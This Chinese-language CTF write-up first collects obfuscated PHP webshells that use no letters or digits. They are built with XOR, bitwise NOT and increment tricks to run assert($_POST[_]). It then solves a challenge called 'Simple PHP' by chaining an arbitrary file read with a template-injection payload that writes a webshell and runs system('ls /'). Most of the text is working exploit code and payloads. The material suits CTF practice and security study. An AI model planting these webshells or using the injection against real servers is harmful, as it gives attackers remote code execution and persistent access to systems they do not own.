方法一:异或

1
2
3
4
5
6
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
//不可见字符都用url表示
1
2
3
4
5
6
<?php
$_ = "!((%)("^"@[[@[\\"; //构造出assert
$__ = "!+/(("^"~{`{|"; //构造出_POST
$___ = $$__; //$___ = $_POST
$_($___[_]); //assert($_POST[_]);
//php5可以成功执行

方法二:取反

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
$_++; //得到1,此时$_=1
$__ = "极";
$___ = ~($__{$_}); //得到a,此时$___="a"
$__ = "区";
$___ .= ~($__{$_}); //得到s,此时$___="as"
$___ .= ~($__{$_}); //此时$___="ass"
$__ = "皮";
$___ .= ~($__{$_}); //得到e,此时$___="asse"
$__ = "十";
$___ .= ~($__{$_}); //得到r,此时$___="asser"
$__ = "勺";
$___ .= ~($__{$_}); //得到t,此时$___="assert"
$____ = '_'; //$____='_'
$__ = "寸";
$____ .= ~($__{$_}); //得到P,此时$____="_P"
$__ = "小";
$____ .= ~($__{$_}); //得到O,此时$____="_PO"
$__ = "欠";
$____ .= ~($__{$_}); //得到S,此时$____="_POS"
$__ = "立";
$____ .= ~($__{$_}); //得到T,此时$____="_POST"
$_ = $$____; //$_ = $_POST
$___($_[_]); //assert($_POST[_])
//php5可以成功
1
2
3
4
5
6
7
8
9
10
11
12
<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

$_=$$_____;
$____($_[$__]);
//没成功
1
2
3
4
5
6
7
8
9
10
11
12
13
14
def get(shell):
hexbit=''.join(map(lambda x: hex(~(-(256-ord(x)))),shell))
hexbit = hexbit.replace('0x','%')
print(hexbit)

get('assert')
get('_POST')

<?php
$_ = ~"%9e%8c%8c%9a%8d%8b"; //得到assert,此时$_="assert"
$__ = ~"%a0%af%b0%ac%ab"; //得到_POST,此时$__="_POST"
$___ = $$__; //$___=$_POST
$_($___[_]); //assert($_POST[_])
//没成功

方法三:自增

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
$_=[].''; //得到"Array"
$___ = $_[$__]; //得到"A",$__没有定义,默认为False也即0,此时$___="A"
$__ = $___; //$__="A"
$_ = $___; //$_="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"S",此时$__="S"
$___ .= $__; //$___="AS"
$___ .= $__; //$___="ASS"
$__ = $_; //$__="A"
$__++;$__++;$__++;$__++; //得到"E",此时$__="E"
$___ .= $__; //$___="ASSE"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++; //得到"R",此时$__="R"
$___ .= $__; //$___="ASSER"
$__++;$__++; //得到"T",此时$__="T"
$___ .= $__; //$___="ASSERT"
$__ = $_; //$__="A"
$____ = "_"; //$____="_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"P",此时$__="P"
$____ .= $__; //$____="_P"
$__ = $_; //$__="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"O",此时$__="O"
$____ .= $__; //$____="_PO"
$__++;$__++;$__++;$__++; //得到"S",此时$__="S"
$____ .= $__; //$____="_POS"
$__++; //得到"T",此时$__="T"
$____ .= $__; //$____="_POST"
$_ = $$____; //$_=$_POST
$___($_[_]); //ASSERT($POST[_])
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

Simple PHP

题目首页是一个注册和登录界面,先随便注册一个,登陆进去后试一试功能

可以发现一个打开图片的功能,抓包看看请求参数

image-20220630033501917

这里的image参数会造成任意文件读取,读一下index的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
index.php
<?php
error_reporting(0);
if(isset($_POST['user']) && isset($_POST['pass'])){
$hash_user = md5($_POST['user']);
$hash_pass = 'zsf'.md5($_POST['pass']);
if(isset($_POST['punctuation'])){
//filter
if (strlen($_POST['user']) > 6){
echo("<script>alert('Username is too long!');</script>");
}
elseif(strlen($_POST['website']) > 25){
echo("<script>alert('Website is too long!');</script>");
}
elseif(strlen($_POST['punctuation']) > 1000){
echo("<script>alert('Punctuation is too long!');</script>");
}
else{
if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){
if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){
$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);
$template = file_get_contents('./template.html');
$content = str_replace("__USER__", $_POST['user'], $template);
$content = str_replace("__PASS__", $hash_pass, $content);
$content = str_replace("__WEBSITE__", $_POST['website'], $content);
$content = str_replace("__PUNC__", $_POST['punctuation'], $content);
file_put_contents('sandbox/'.$hash_user.'.php', $content);
echo("<script>alert('Successed!');</script>");
}
else{
echo("<script>alert('Invalid chars in website!');</script>");
}
}
else{
echo("<script>alert('Invalid chars in username!');</script>");
}
}
}
else{
setcookie("user", $_POST['user'], time()+3600);
setcookie("pass", $hash_pass, time()+3600);
Header("Location:sandbox/$hash_user.php");
}
}
?>

注意index.php中的一个危险函数file_put_contents,如果我们在$content中写入恶意php代码,而$content是由我们向template.html中进行某些变量赋值生成的,这里读取一下模板文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
template.html
<?php
error_reporting(0);
$user = ((string)__USER__);
$pass = ((string)__PASS__);

if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass)
{
echo($_COOKIE['user']);
}
else{
die("<script>alert('Permission denied!');</script>");
}
?>
......
<a href="#" class="powered_by">__PUNC__</a>
......
<li class="desktop_icon" id="win16" path="__WEBSITE__">
......

可以看到四个参数的位置,从user开始就进入了php代码,我们可以写一个一句话木马,但是index中对于注册的信息有所过滤,我们可以控制的参数有userpasswebsitepunctuation,但是pass经过md5加密以及字符串拼接,无法利用

剩下user有字符串长度不大于6的限制,无法写入一句话木马,而punctuation字符串长度上限为1000,但不能有大小写字母和数字以及>,这里可以在user中来闭合,并且注释后续代码,让后面一个参数__PUNC__也可以写入php代码,再用注释来解决后续代码即可

这里的__PUNC__需要用到无数字字母webshell,参考链接如下

(141条消息) 无字母数字webshell总结_zkzq的博客-CSDN博客_无字符webshell

一些不包含数字和字母的webshell | 离别歌 (leavesongs.com)

网上还有一个不包含数字和字母的webshell,这里记录一下

1
user=1)/*&pass=rr&website=&punctuation=*/;@$_%2b%2b;$__='#./|{'^'|~`//';${$__}[!$_](${$__}[$_]);/*

查看根目录

1
0=assert&1=system("ls /");

image-20220630035213230

image-20220630035123754

传马直接读flag即可